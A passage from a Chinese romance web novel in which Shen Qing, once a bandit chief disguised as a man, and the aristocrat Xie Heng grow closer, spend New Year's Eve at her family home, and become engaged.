原先沈青在莽山占山为王,可以不用顾虑这些,现在终究是要在洛京生活,无论是对她还是对谢珩,按世俗礼法行事,才是最稳妥的。 沈青眼波流转一瞬,忽然问她:“你知道谢珩的母亲闺名叫什么吗?” “谢夫人……妄自打听长辈闺名,实属无礼。” “父母珍爱女儿,给她取了那样好听的名字,怎么嫁人后就不能示人了?你看你们一提谢珩的母亲,便说是谢夫人,可是谢家的谢夫人,未免也太多了吧。” 这次岳瑛没给她绕出去:“那这跟你与谢珩有什么关系呢?” “当然有关系啊,如果我嫁给谢珩,岂不是我也变成了谢家那么多谢夫人中的一个?时间久了,这世上便没有了沈青,只有某个谢夫人,再等我死了,连牌位都只能写一个谢沈氏。” “如果我不用嫁给谢珩就很好啊,又可以想跟他圆房就圆房,又还可以继续做沈青,多好?” 岳瑛被她这番惊世骇俗之语,惊得眼睛眨了又眨,双唇张了又张。 如果她没离开过洛京,没有上过莽山,哪个女子跟她说这样的话,她一定觉得对方是得了失心疯。 谢家门楣,是多少女子挤破脑袋也要攀进来的高门,谢珩的风姿,哪怕是侍妾通房,也不知是修了几辈子的福分。 居然有人对此嗤之以鼻,只想要一个无名无分的骈居? 可是那个人是沈青。 短暂的惊愕间,她觉得自己大概能理解她的意思。 天下女子,出嫁前是归属于父亲,出嫁后便归属于夫君和儿子,她们赖以父亲丈夫给的“名分”生存于世间,所以名分何其重要。 可是沈青不需要,她以男子身份行事,所以她就是沈青,她还有沈府,她是沈府绝对的主人。 似乎是没有必要成为另一座府邸的……女主人? “我虽然理解你的意思,可事实是,你终究是个女子啊……总不能一辈子就跟珩公子在外以断袖相称吧?” 沈青重重叹了口气:“诶,怎么世上男女成婚,都是女子变成某某夫人,没人说男子就变成某某夫君呢? ” 她喜欢谢珩,想跟谢珩成亲也行,可是真的不喜欢一场姻缘无形中定下的男女尊卑啊。 当然,其实也有关于将来萧瑞和谢珩之间可能存在的冲突问题,她也不适合在未明了前,与谢珩结为夫妻,这点她没再跟岳瑛多说。 她转而将话题转到生孩子上面:“诶,算了,不管了,先看能不能生个孩子吧,你在小金顶上不是跟我说,想要聪慧可爱的孩子,必须得父母双方情投意合嘛……” 房中两人说话的声音絮絮叨叨传来,谢珩无心再听下去,脚下不轻不重踩着台阶慢慢离开。 他也很想知道,天下怎样的成婚方式,世人不称她为“谢夫人”,反而称他“沈夫君”? 世上有“某某夫君”这种称呼吗? 第96章 第96章这下你应该不会跑了吧?…… 这天夜里,沈青沐浴完,翘着二郎腿躺在谢珩这张宽大的床榻下,青灯流转中,盯着头顶的床幔和挂在床头的流苏看了会,脑子里胡思乱想一阵,终于懒懒打了个哈欠,准备睡去。 卧房的门轻轻“吧嗒”一声,从外头打开,又从里被合上。 她撑起一点身子,看见青灯照映下,多了一道玉树临风的身姿,待他款步走近,可以看清他五官眉眼亦清隽皎然。 “今晚,我就宿这里。” 清润的声音温厚平静,如寻常一句话语。 “噢……好。” 沈青反应过来,身子往里挪了挪,然后重新直挺挺躺下,眼睛直愣愣盯着床幔,昏暗中,只有一双黑亮的眸子不安分地转了转。 须臾,身侧的床榻微微一沉,是谢珩在一旁躺了下来。 很奇怪,她明明觉得这样同床共枕才是对的,可一颗心就像被高高抛起,然后在半空中漂浮摇晃了起来。 身侧的人不动,她也绷着身子不动;身侧的人不出声,她也屏住呼吸不出声。 好一会儿,她实在忍不了,小口呼吸了几下,窸窸窣窣从被窝里翻了个身,背对着身后的人,只有余光里完全没有对方的影子,她那颗在半空中漂浮摇晃的心脏才重新回到了胸腔。 怎么回事? 难道跟女子同床共枕,他还需要花很大的心力来说服自己吗? 不过他现在至少愿意迈出这一步来尝试了,可是现在怎么办呢?如果说前几天的圆房,是两个人都情绪激动下的一次意外,那现在,是两个完全清醒正常的人并肩躺在一起啊。 她忽然想到,软榻下还藏了陛下赏的一对酒,要不这会儿拿出来两人干了? 刚冒出这个念头,她听到身侧有动静,很快,她被人从身后轻轻拥住,熟悉的温度再次将她温柔包裹。 因为不必再隐瞒身份,她这几日就寝便只松松垮垮给自己套了身中衣,只是浅浅相拥间,心跳和呼吸也是交织在一起。 “沈青。” 清浅的声音,带上几分灼热,在她耳畔荡漾开来。 她看不见他,只微缩在他怀中,第一次听到自己的名字原来可以带上这样旖旎的情愫。 “嗯。” 她轻轻应了一声,从心尖一路颤到喉头。 身后的人好像踟蹰了一下:“你最开始喜欢我,其实就是想要利用我生个孩子?” 说到正事,她绷紧的一根弦暂时松散下来,坦诚告诉他:“你长得那么好看,那跟你一起生的孩子,肯定也是很好看的。” 她顿了顿,还是补充了一下:“我上次也跟你说了嘛,一开始是因为爹爹的遗愿,所以我想生个孩子,现在……我想要有个孩子,孩子的父亲还得是你。” 最后,她还特地强调:“我就是一眼看上你的。” 说完,不知道为什么,身后的人又陷入沉默。 刚才她应该没说错什么吧? 她一见钟情他还不高兴了?她还没怪他是后面慢慢动心的呢! 脑中正思绪纷纷,忽然身后的人有了动作,他从后面抬手,轻轻解开她头顶的发髻。 她束的还是一个男子发髻,只需要将发带拆开,一头丝丝秀发就铺散枕间。 谢珩拂过她铺散的长发,将其中一缕轻轻绕在指尖。 这些日子她衣食起居还算妥帖,这一头秀发也被养的乌亮如绸,发间夹杂着幽幽馨香实在沁人心脾。 他指尖松开那捋缠绕的秀发,从她那头秀发间穿入,轻轻流连过她细腻的面颊,微红的耳尖,还有,秀颀的脖颈,玲珑肩背。 从前,他只觉得,这样一个男人,怎么长相身姿这样阴柔,难怪是断袖。 原来那些惊心动魄的致命吸引,皆是来源于一个绝色女子的娇妍玲珑。 可是她还不是他的妻。 没有明媒正娶,没有名正言顺,以他过去二十年的观念来看,绝不可染指,绝不可亵渎。 但她是沈青啊。 她丝毫不在乎谢氏门楣,也不甚在意他能给的荣华富贵,大概连他的才能品性,估计她也没有特别在意。 她最看重的,就是他这一副最肤浅皮囊。 无论是男欢女爱,还是生一个骨血相融的孩子,在他没有想到办法用“名分”留住她前,只能将这副皮囊的作用发挥到最大。 否则再这样恪守礼节下去,用不上他这幅皮囊,她哪天想离开,便头也不回地离开了。 沈青被耳畔颈后的触碰弄得丝丝痒痒,她微咬着唇忍耐了须臾,总觉不仅是耳畔颈后,实在浑身哪哪都痒得不自在。 “诶呀。” 她不耐出声,准备抽身躲开,指尖游走忽然变成一下一下温润湿濡的唇,像盛夏里被骄阳烤干的地面,迎来一场铺天盖地的大雨。 随着密密麻麻落下的雨点,身后的人撑起身子,倾身覆了上来。 沈青的气息明显紊乱了起来,两人呼吸再次交织,她能清晰感受到他们之间的触碰变得多么灼热。 有过前几天的那场经验后,她已经明白接下来要发生什么。 眼前是万丈深渊,是深海碧波,他要拥着她,裹着她,带她一起跳下去。 急促的唇齿缠绵间,她感受着对方绝对强势而蓬勃的掌控力。 太好了,他终于在清醒的时候迈出这一步了! 眼神激烈交织的一瞬,她退无可退,慌不则言:“你又可以了吗?” 慌乱中,电光火石的一瞬,她抢回自己一点理智,生生把到了唇边的“行”字改成了“可以”二字。 谢珩眸底顿时深得骇人,长驱直入猛然一探,没有给她留半分余地。 沈青像一个犯了重罪的囚徒,铺天盖地的严苛审讯中,无从反抗,直接把自己交待个干净。 然后一次又一次把自己交待个干净。 枕上眸间,水色尤甚。 反正也不知道过了多久,疾风骤雨渐渐停歇,她像一只经历数次惊涛骇浪的小船,随波逐流中,又重新被裹进温柔宁静的港湾。 “累了吗?” 她听到抵在头顶,有一道喑哑清浅的声音,她懒得睁眼。 废话,本来就撑,还用那么大劲儿,还不许停,换谁谁不累? 心里一大堆骂骂咧咧的话,她也没劲儿骂,只在鼻音里哼哼了两句,算是回应。 她停泊的港湾在她耳边轻叹:“那你这下应该不会跑了吧?” * 等青灯燃尽,兽炉香销,卧房中都已经天光大亮时,沈青才从一场酣畅淋漓的沉梦中清醒过来。 她下意识伸伸懒腰,忽觉四肢伸展不开,掀了被子一看,腰上还牢牢缠了一只手臂呢。 她忙转过身去,入目就是一张清俊逼人的玉容,已经很久没有过这样的生活了,倾绝颜色,晨醒睁眼可见。 “你今天竟然没有去早朝?” 随着她的动作,闭目浅寐的公子睁眼,自然而然低头在她额前顺势一点,然后下巴搭在她肩头,声音有点儿瓮:“今日不想去了。” 只想这样搂着她。 沈青脑袋也搭在他臂弯间:“不想去就不想去,反正你官儿 都这么大了。” 两人目光看不到对方,只互相拥在一起,心照不宣笑了笑。 不过很快,沈青感受到揽着她的臂弯越箍越紧,包裹着她的怀抱又开始灼热起来,她抬手在他胸口撑了撑,将两人之间拉开了些距离。 “我跟你说,你不要一直用那么大力气。” 她说这话时,语气像是严肃,但人却埋在对方怀里,连半张脸都不露出来。 谢珩有些错愕,低头看见她秀发下藏着的一双耳朵发红,才意识到她在说什么。 “这……是不好的吗?” 他以为她的那些低嗔细吟是因为欢愉才是……中间她是有几次说受不了,但他也继续让她受着了,因为他当时好像在正铆着一股劲儿。 为什么呢? 对,因为她一开始说的那话。 沈青将脸埋得更深:“就是有时候要用力气,有时候不要用那么大力气,轻重缓急,你知不知道?” 她自小就是男人土匪窝的老大,见过的猪跑不知道比谢珩多多少,自觉有必要好好引导一下他,但她也是真没吃过猪肉啊,特别是跟谢珩这样的君子在一起后,她也不知道自己脸皮薄了多少,这些话说起来居然还怪脸红的。 谢珩似懂非懂:“好……我知道了。” 原来这样的事情,也并不是全凭本能就行,他需得去谢家藏书阁找寻翻阅一趟,恐怕也是熟能生巧之事? 只是想到她脱口而出的那句话,他心中还是不安:“那你是对我昨晚……还有之前都觉得不好吗?” “我也不是说你不好的意思吧……也很好的。” 最后沈青声音低低的,突然意识到自己一大早就跟对方讨论夜里种种,似乎不太好?不知道正常人家夫妻是不是也这般相处? 谢珩终于直接问出来:“那你为何突然问我又可以了?” 沈青脑子里空白了好一会儿,想起就是昨晚这一句话,简直让她承受了太多! 她终于把埋在他臂弯中的脸扬起来,目光上下将人打量了一下,终于也道:“我就是担心你不喜欢女子,对女子提不起兴致来着。” 想到她昨晚承受的种种激烈,她觉得现在可以彻底打消这样的顾虑了。 “什么?” “就是……”她莫名有点心虚,但还是硬着头皮将话说清楚:“就是,你之前说心悦于我,那时候我不是个男人吗?那我就是怕你喜欢上真正的男人,变成真正的断袖,就不喜欢女子了嘛。再说了,谁让你上次睡完,就再也不跟我睡了,好像你多不情愿跟女人睡觉似的。” 谢珩盯着她垂着眸子嘀嘀咕咕说完,心里松了口气,还好不是对他真的不满。 不过他也真是要气笑,他只是因为觉得她是个姑娘,该恪守君子礼节,才与她保持距离和分寸的,原来她竟是这样看待他的? 他知道她向来不拘礼法,现在再去跟她讲一些伦理纲常的道理,也只是徒给她增添负担。 他轻叹一声,轻捧起怀中人的脸颊,微红如霞的轻艳绝色,一双漂亮的眼睛澄澈天然。 “沈青,你是男人,我就喜欢男人;你是女人,我就喜欢女人。” 第97章 第97章我知道十一年前,你在哪…… 不知不觉,洛京也进入了滴水成冰的隆冬时节,不过不似小金顶上终日冰天雪地,今年的天气不错,大部分时候,白天都有暖阳轻轻懒懒地洒在檐下,只有到深夜二三更天的时候,才能感受到冬夜的冷寒难耐。 冬夜寒冷漫长,也不减床幔香账里春意融融。 在谢府,已经不需要再替沈青掩护,岳瑛也不打算再继续寄人篱下,于是先回了沈府。 许久没回过沈府,沈青也有点想回去,可是想到谢府这里一应俱全的浴房,烧了地龙铺了绒毯的卧房,每天各种食材药膳应有尽有,还有绝色公子可以搂着睡觉,她真舍不得。 过去寡淡的日子,她一天都过不了了。 由俭入奢易,由奢入俭难,不愧是世代流传的大道理。 但是也不能太流连于温柔乡,以至于玩物丧志,眼下世家纷争迭代基本已成定局,萧瑞集结的寒门势力,已然是世家之外最大的势力。 他还需要一个名正言顺的理由。 那就要开始着手,替成王翻案了。 当年成王是以逼宫谋逆被治罪,待成王被伏诛,御史台又在他身上加了数条大罪,牵连甚广,才有了后面那一轮又一轮党同伐异的清理。 他生前是在户部任职,所以在户部被挂上的罪名更多,要洗清他身上的种种罪名,就先从户部开始,直到最后,连带着谋逆之罪,都将彻底被翻案。 于是谢府中,情况稍稍有了一点翻转,局势稳定下,谢珩也渐渐清闲了下来,本想着多腾出一些时间可以陪沈青,不料沈青反倒开始忙得脚不沾地,只有在夜里回来,两人在帐中几许温存。 谢珩自然对朝中局势洞若观火,在世家之间内斗更迭过程中,寒门势力悄然崛起,直到现在,势力几乎与各大世家相差无二。 虽然有点奇怪,他早就知道沈青与萧瑞投靠了晋王,大概是晋王要始终保持自己不问朝政的形象,最后无论沈青还是晋王,竟然都隐于萧瑞身后。 不过谢珩对此也不多加干涉,他知道沈青要做什么,他也早就告诉过她,他们的志向是一样的,天下寒门与世族,本就该拥有同等的机会。 直到某天,鸣山告诉他,沈青在查成王的案子。 听闻消息,他面色清淡平静,修长如玉的指节在书案上轻轻扣了扣。 正麟宫变。 十多年前一场惊天动地的旧案,洛京城中血流成河,即便时过境迁,这场宫变依然是一个极为禁忌的话题,几乎没人敢提。 她竟然能跟这场十多年前的旧案有牵扯? 巧了,最近在琢磨成王旧案的人,也不止她一个。 夜里,沈青沐浴完,现在干脆连足衣都不穿,赤着一双脚儿踩着绒毯,一路从里间奔到床榻上,刚钻进被窝,腰间就被一双手臂紧紧缠上。 不似以往的温柔缠绵,是一种极为强势的占有和攥取。 她当即就意识到有些不对,一抬眼,就对上一双深沉得可怕的眸子,像夜里潜伏的兽,缓缓探出巢穴。 “谢珩?” 她憧怔喊出他的名字,双唇就被封缄,五指被交握,是铺天盖地不容置疑的绝对碾压。 枕上海棠凝露带雨,他紧紧钉住她问:“你为何在查成王旧案?” “我……” 她眸光里水色尤甚,对上那双紧紧盯着她的深眸,她艰难蹙起眉头,勉强找回一点理智,别过头去。 谢珩眸中一黯,即便两人眼下彼此交融不分你我,她也无法毫无保留信任他。 他低下头轻嗅着她鬓边幽香,汹涌的浪潮却一点一点缓缓褪去。 枕上秀眉蹙得更深,因为浪潮的褪去,一双盈盈水眸写满迷茫和无助。 “谢珩……” 她哑声开口,像是祈求浪潮不要褪去。 “那你不肯告诉我吗?” 他的声音也全然不似平常清润,带着浪潮的湿濡,低低在她耳边蛊惑。 沈青紧紧咬住发颤的牙关,一双眸子水光潋滟,似哀求似怨怒,看得人无限可怜。 谢珩轻叹了一声,褪去的浪潮再次席卷而来,这次不是汹涌的浪潮,而是攻城拔寨无所不催的山呼海啸,芸芸众生,哪有半分招架的余地。 “谢珩!你……你疯了!” 沈青被铺天盖地的巨大海浪撞得七荤八素,连声音都破破碎碎,小船紧紧抓住港湾,港湾里汹涌的巨浪将她掀过来翻过去,没有支点,无从停泊。 最后掀起的巨浪要将小船彻底粉碎时,疾风骤雨的港湾瞬间恢复宁静 平和,那汹涌巨浪潜伏下来,化成平静水面上一小圈涟漪。 沈青闭上眼,眸中水色终于变成一汪清泉,沾湿了微颤的长睫,同样微颤的指尖温柔拭过她泪湿的眼角,耳畔喑哑的声音还有点怪无辜。 “你不是说,让我……轻重缓急?” 她简直再也听不了那四个字,只紧紧闭着双眼,打死不睁开,只有两人的呼吸静静纠缠了一会儿,平滑如镜的水面上,那圈小小涟漪又渐渐放大,放大。 再次平地起波澜。 第二日,沈青几乎整整晚起了一个时辰,等她想起今日还有不少正事要做时,一双原本还懵懂的眸子瞬间恢复清明。 她忙掀了被子,下了床一边趿了双鞋,一边找木梳先梳头。 “我来吧。” 刚从镜台前找到木梳,手上的木梳就被人轻轻夺走,她身上被罩了件外衣,身后的人就着她刚才的动作,有条不紊不紧不慢替她将发髻梳好。 沈青微微僵直着身子,她看不到对方,只感受着他的动作和一点清浅呼吸,她都两腿发软。 虽然他现在温柔的比天上的云朵还软绵,但她知道,他昨晚内心深处,有怎样惊涛骇浪的暴怒。 反正她目前是一点也不敢多刺激他,成王的事,本来她也是有点心虚的,这是当年世家、皇室、寒门的冲突仇恨,他们各自站在不同的位置,多少就是会有些膈应。 再说了,她一直就很担忧将来谢珩与萧瑞之间的关系,没纠结清楚前,她的打算是顺其自然的,她也没想到,这个顺其自然……会跟谢珩进展到这个程度。 现在为成王翻案一事还没太多着落,事关实在太重大了,她也不想让谢珩卷入其中。 从各方面考量,她都只能三缄其口。 她知道谢珩为什么生气,她也能理解他的情绪,但是没办法,她也有她的考量。 而且她也发现了,别看谢珩温柔妥帖找不出半点不是来,其实他根本就没有变,还是莽山下那个跟她对峙的谢珩,小肚鸡肠,睚眦必报。 他的那些顺从乖觉,他都会从帐里枕间找补回来的! 待发髻梳好,身后的人绕到她身前,又半蹲下身子,替她将套在身上那件外袍扣上襟扣,紧束腰带。 沈青微垂着眸子,正好可以瞥见他一丝不苟的神情,仿佛他手上正在做的,是一件比批阅公文还要严肃的事情。 “多谢。” 待身上穿戴整齐,她低声道了句谢,赶紧扶了腰出门,直到彻底出了院子,才小声叽咕骂骂咧咧了几句。 好在谢珩问过这一次,她不愿答,后面的日子他也没再追问过,仿佛他从来就不知道这件事。 不知道是不是错觉,临近年关,总感觉他好像又忙碌了起来。 她想过,以他的性子,他应该会自己去查,她不想说,但也不能阻止他去查。 他们又各自忙碌,总有一天,或许又是殊途同归,或者也会分道扬镳。 再次交给……顺其自然吧。 时间在忙碌中就过得极快,年关的日子过得更快,不知不觉,就到了除夕这日。 除夕这样的日子,在沈青看来,就算是天王老子,那也是要歇息的,本来她就不喜欢这劳碌命,逮着机会赶紧歇息。 谢府这天竟然也张灯结彩,各处厅院都贴了春联,挂了灯笼。 沈青还不由得稀奇了一番,原来这样典雅的人家,也是不能免俗的。 除夕的午宴,谢珩带她去了谢夫人的院子,本来她还有点怪尴尬不太想去,结果谢珩告诉她,谢夫人已经知道她的女儿身了,她也没理由再挣扎。 好在这样的大户人家,除夕盛宴,没有她想象中乌泱泱一屋子长辈小辈,只有她和谢珩母子清清静静的三个人,简直跟她往年在小金顶上和满堂兄弟们在一起的除夕不可同日而语。 谢夫人还是一如既往温厚淡雅,为了避人耳目,她还是称她“沈公子”,只不过语气中多了一些怜悯和宠溺。 沈青都能感受到,他们三个人的其乐融融,在谢府不少下人看来简直离奇惊悚,大概觉得这家人,不仅公子疯了,夫人好像也疯了。 只不过这些丫鬟仆从们训练有素,不敢随意表露。 离开谢夫人院子的时候,沈青从谢夫人手中收了一个巨大的压祟荷包,按理,这种长辈给晚辈的压祟荷包,通常都是放几枚钱币,讨一个吉祥的兆头。 她晃了晃荷包,里头不像是有钱币的样子,还是忍不住打开往里瞄了一眼,好家伙,是一叠密密匝匝压实了的银票!回去数都得数半天的样子! 走在她身边两手空空的谢珩侧目瞥了一眼,不由得轻笑:“倒是没见过那位晚辈在母亲手中收到过这样的压祟荷包。” 沈青唇畔笑意难掩,赶紧将荷包贴身收好,以免被身边这人出于嫉妒抢了去。 到了夜里,按习俗是要吃年夜饭,想到岳瑛一个人在沈府,萧瑞一个人也无处可去,于是沈青带着谢珩回了沈府。 四个人共坐一桌的时候,沈青忽然觉得有些好笑,怎么跟谢珩好像一对夫妻,白天在夫家待半天,夜里又回娘家待半天? 但确实很幸福,弟弟,闺中好友,还有心上人,都在一起。 都在沈家的宅子里。 虽然已经吩咐沈府的厨子做出最丰盛的年夜饭,但是跟谢府的饮食还是不能比,她下意识关心起谢珩来:“这没有谢府那样山珍海味,你还吃得惯吧?” 谢珩无奈笑笑:“我没有你想象中那么纨绔。” 说得也是,小金顶上的冷菜馒头,他也是啃咽了好几个月的呢,不过她还是忍不住,挑了一块品相极好的糖醋排骨,放到谢珩碗中。 谢珩莞尔,选了一块鱼肉,将里面的鱼刺剔除干净,回以沈青。 只有萧瑞在一旁目瞪口呆,这对吗? 他下意识去看岳瑛,只见岳瑛眉眼都是欣慰笑意,根本看不出半点吃醋和不甘。 什么意思?只有他一个人是多余的吗? 等年夜饭结束, 谢珩独自站在院中阶前,夜凉如水,颀长身姿与院中那颗青柚树互相映衬。 青柚树虽然四季常青,却也不如春夏繁茂。 阶前立着的那道芝兰玉树身姿,目光久久落在青柚树上,似乎在思索什么。 沈青默不作声站在后面,不知为何,好想把眼前这一幕一直印在脑海中。 感受到身后人的存在,谢珩回头过,四目憧憧相对。 “沈青。” 沈青抬眸,他身后是青柚树枝叶婆娑,夜风如许,他的眼神温柔坚定。 “我知道十一年前,你是在哪里看的烟花了。” 第98章 第98章你愿意与我结为夫妻吗? “什么?” 沈青歪头疑问,没听懂他的话,但心里忽然隐隐升起一丝紧张。 “不对,现在应该说是十二年前了。” 谢珩又纠正自己刚才说的话,向她伸出手:“来。” 沈青憧怔将自己的手搭在他掌心,瞬间就被他掌中温热包裹住。 谢珩牵着她就在阶下坐下,忙有小厮递了绒毯,又在身前给他们生起火炉。 火光在眼前烧得噼里啪啦,驱散冬夜的寒意,沈青就歪着身子,舒舒服服靠在身边温厚的臂弯里。 “去年此夜,是何等光景,不知你还记不记得?” 清润声音说出的话真是煞风景,沈青想翻白眼:“当然记得。” 去年的除夕,大好的日子,她是在大牢里度过的,而将她关进大牢里的,可不是别人,就是身边这位正揽着她的公子。 “那天晚上,我们也在牢里一起看了烟花。” “那天晚上有烟花?” 烟花是两个人一起看的,回忆却只是一个人的,谢珩致力于将当晚的回忆,也根植进她记忆里:“那天烟花绽放的时候,你跟我说,那是你十一年来第一次不是在小金顶上过的除夕。” 沈青不由得坐直了些身子:“然后呢?” “然后我也问你,十一年前,你是在哪里过的除夕呢?不过你当时醉了,就没有回答我。” “噢……”她顿了顿:“那你当时为何让我喝醉?” “因为,”她明显感觉揽在自己肩头的手紧了紧:“你当时生我的气,只有让你喝醉,我才有机会靠近你。” 他清浅温和的一句话,像揽在她肩头手臂那样,绕在心口,把她一颗心都缠紧。 本来她临到嘴边的话题一转,是下意识想去避免接下来那个沉重的话题,结果反而被谢珩在这一头温柔拦截。 “哼,你可真像个……登徒子。” 谢珩压抑着声音里的笑意:“……那也比不上沈寨主直接将人强掳上山。” 沈青理亏说不过他,只好将话题拐回来:“那你现在知道的答案是什么?” 谢珩坐在阶前举目四望,一方小院不大不小,简朴温馨,除了那株青柚树枝叶交错,就是青砖墙院围住的四四方方天空。 他轻声道:“很多年前的今日,你应该也是像现在这样坐在阶前,然后抬头从这四方院子里,看见外面的烟花璀璨吧。” 他喉头哽了哽,那时候立在这阶前的幼小沈青,锦衣玉食,千娇百宠,根本连莽山……甚至渝州都没有听说过,怎么会想到将来她会在那千里之外的一片山头,刀尖舔血,一年又一年呢? 循着他的目光,沈青也仰起头看向四四方方的天空,回来的这些日子,她其实这样仰头看过很多遍,平心而论,是比不上小金顶的天地广阔。 这里也是她的家。 现在还没到新岁子时,不知谁家孩童按捺不住,时不时会先点上一两簇烟花,沈青抬眸的时候,正好有一簇烟花在这四方天空粲然绽放。 璀璨了夜空,也璀璨了她清亮的眸底。 “是啊,小时候我就是在这里看除夕的烟花。” 她想了一下,又补充道:“不过我印象中,是坐在爹爹的肩头,然后指挥两位哥哥去点那烟花。” 她的语气轻而渺远,好像小金顶上举目可见的茫茫群峰。 尘封许久的答案,被一锤定音,两人反而沉默下来,只剩空中的烟花,有一下没一下绽放。 时间静静流淌过炉子里燃烧的火光中,还是谢珩先打破了沉默:“这么多年,你心里竟然没有仇恨?” 他问得有点踟蹰,多年前的正麟宫变,准确来说,是世家高门对普通士族的一场大绞杀,也才过去十多年,他的那些族人长辈,恐怕也有不少人手上沾了沈家的鲜血。 他是近日将来龙去脉都查清楚,才后知后觉,可沈青是一早就知道的,自与她相识,他感受过她的愤懑,她的不平,她的迟疑,但唯独没有感受到过她的仇恨。 此时因为自己身上流淌着与其他谢氏长辈族人一样的血脉,这让他很不安。 起了点风,沈青往他怀里缩了缩,被他张开双臂轻轻拥住,她说话的时候,正好可以依偎在他肩头。 “嗯……我该从哪里跟你说起呢,说我记得的事情,我记得我阿娘,她出身并不高,但长得漂亮,说话也温柔,所以我爹娘很恩爱。我大哥呢,比我大了快五岁,很斯文的一个小公子,在学堂里师傅每天都夸,如果他还在的话,应该跟你一样,是一个清矜雅正的谦谦君子。二哥呢,性子跟大哥完全不一样,只比我大了两岁,我俩天天都要打架,不知道他是真打不过我还是故意让着我,反正我从来没输过。” 她现在已经长大了,母亲的面容越来越模糊,而她的两位哥哥,永远也只是小小公子和小小屁孩。 “后来……后来的事情你应该也都知道了。”跳过那段她依然无法亲口说出的惨烈过程:“大概因为我是一个女孩子,一个七岁的小女孩不见了,根本没有人在乎的,他们只在乎,沈家的两个公子,是不是都彻底咽气。” 谢珩紧紧搂住怀中微微瑟缩的身子,关于她省去的过程,他已经反复复盘了千百次。 沈府的一砖一瓦,一草一木,承载了沈青过往一家人所有幸福温馨,也侵染了沈家亲人淋漓鲜血。 一个七岁的孩童,亲眼目睹了家中上下被屠戮干净的全过程。 就在这间宅院里。 沈青忽然指了指院中那颗青柚树:“你看我家院子里,长了一颗这样的树。这树就是我小时候某天,吃了一瓣柚子后,随手扔的籽儿,竟然发芽了。可是我离开的时候,它才长到我的膝盖这么高,我现在回来了,它居然还活着,比院墙还高,比碗口还粗。” “所以啊,当年在这院墙中种下的,也并非完全是一颗仇恨的种子。” “世家与寒门纷争已久,或许当时成王看到了世家当权的弊端,但我爹爹其实还不完全确定自己的选择是否正确。他从不引导我要牢记当日的灭门之仇,他带我上莽山,上小金顶,他期望我能从更高更远的位置去看待世事。” “他叮嘱我,如果世家当权,天下太平,百姓安居乐业,那说明错的是我们,那我们就永远永远留在莽山,守着一方山寨,此生绝不再回洛京。” “后来你也看到了啊,莽山的日渐壮大,绝非我主动招揽扩张,是无处可去逼良为盗的人越来越多,当越来越多的人投奔莽山,朝廷再容不下我,而我也由此确定,爹爹和成王当年的选择是没有错的,所以我再次回了洛京。” “再说了,非要报仇的话,我还真不知道该找谁。” 找提刀上门屠戮沈府的人?还是找下令的人?且不说他们现在还在不在人世,即便在,当年之事,谁都是散落在棋盘上的棋子。 真要报仇,就应该把天下世家都屠戮干净。 她絮絮叨叨说了许久,怀抱着她的人依旧温柔宽厚,只是一直没有回应,她从他肩窝里仰起头看,正好迎上他低头在她额角轻轻一点。 他又沉吟了一会,不算接着她的话在说:“在我祖父去世之前,我都生活在谢家旧宅里,洛京说大也不大,谢家与沈家,相距也没有算太远。” “这些日子,我查遍所有能查到的宴席记录,我查到过,有好几场宴席,沈家和谢家曾同席赴宴,只是那些记录不够详细,没有记清楚你父亲所带家眷中,有没有一个你。我也实在想不起来,我是否在哪次宴席上,见过一个总角或垂髫的小女孩。” “沈青,我们至少在同一片都城,只隔了两条街,一起生活了七年。” 可是真正的相遇,竟然在十数年后,千里之外的渝州。 沈青仰着头,只看得到他下颌分明,还有他说话时,牵扯着胸腔的震动,一下一下,是微颤的悲恸。 为他们中间隔了太久的未相逢。 “谢珩……” 她心中动容,抬手去触他的下颌,却被他一手握住,他先低下头,像雨水轻点, 细细密密落在她的额头,她的双眸,她的脸颊,她的唇角。 少年无声沁润,怀里是他最珍爱的姑娘,他真想把错过的所有时光,都一点一点补回来。 如果这一切波澜,都是一场虚妄,其实什么都没有发生,那该多好。 沈青面上丝丝痒痒的,她揽着谢珩的脖颈,躲到他怀里蹭了蹭。 “沈青。” “嗯?” “我知道你在担心什么,我承诺你,凡你所想,我都会让你安心。” 沈青不再说话,她知道他在为萧瑞的身份而表态。 他能查到她的身份,那必定也已经查到了萧瑞的身份,之前她一直三缄其口不愿多说,的确是在顾虑将来他与萧瑞的关系。 他是世家之首,萧瑞将来是立志要彻底消解世家的新君。 她总想着一切顺其自然,眼前的温柔与欢愉,能贪恋一刻算一刻。 可是他总是能捕捉到她的顾虑,然后稳稳地将她接住。 她想不到以后这两人之间天然的矛盾对立要怎样化解,可是他说会让她安心,那她就安心了。 “沈青。” 见她沉默,他再次喊出她的名字。 “嗯?” 沈青终于也再次仰头,对上他温柔如许的目光,要将她溺毙。 他喉头动了动:“我就想问你一句,你愿意嫁给我吗?” 想到她是不愿意的,他连忙改口,清润的声音更加坚定:“你愿意与我结为夫妻吗?” 感谢萧瑞的特殊身份,他终于知道要怎么解决沈青不愿嫁给他的问题了。 名分的事,他有办法,现在只需要,她愿意。 沈青愣愣望着近在咫尺的绝色玉容,他眸中星河流转,是她一生渡不过去的劫。 “我愿意。” “我愿意跟你结为夫妻。” 她答了一句,又强调了一句,最后一个字的尾音还没落下,两张温热的唇紧紧贴在一起。 辗转缠绵,不死不休。 新岁的子时已到,四四方方的天空被粲然烟花映满,一对璧人在新岁第一朵烟花绽放下,心意交融。 注定是有惊天巨变的一年。 但他们会彼此相伴,天荒地老,至死不渝。 第99章 第99章沈青,我曾经做过这样一…… 新岁第一天,沈青是在沈府自己房间里醒过来的,与以往不同的是,枕边还有一位绝色公子与她同床共枕呢。 很美好的新岁开端。 她支起身子坐起来,推窗可见,院中的青柚树依旧如昨,亭亭立在那儿。她从没想过,有一天竟然还能带着心上人一同回到沈府,可惜沈府的家人,只剩下她和这颗青柚了。 不过这就是她的家,她的家人,应该也能感受到她此刻的安定和满足吧。 虽然她和谢珩还没有成亲,可是将他带回沈府,她觉得他是不是自己夫君,已无分别。 谢珩不知何时从身后坐了起来,抱着被子,将她裹进怀中,两人就裹着被子依偎在窗前。 他也循着沈青的目光,抬眸望向那颗青柚树,抵着她耳畔轻轻问:“突然想起昨晚一直忘记问你了,以后我该叫你沈青,还是……沈若清呢?” 最后从他唇间念出的那个名字,因为隔了太过于漫长的时光,他小心翼翼用了十二分地珍惜与温柔。 沈青原本还放松着的身子,明显顿了一下。 她微微怅然叹了一声:“还是叫沈青吧,我很喜欢沈青这个名字。” 沈若清……当然也是喜欢的,不过这是独属于七岁前的她,现在这间院子里,家人都已不在,沈若清这个名字,该和逝去的家人们一起,只能放在记忆里珍藏。 “好。” 谢珩没有多问,低头在她发顶轻轻一点。 清晨静谧的院子里,视线里萧瑞目不斜视的身影匆匆掠过廊前树下,头也不回出门去了。 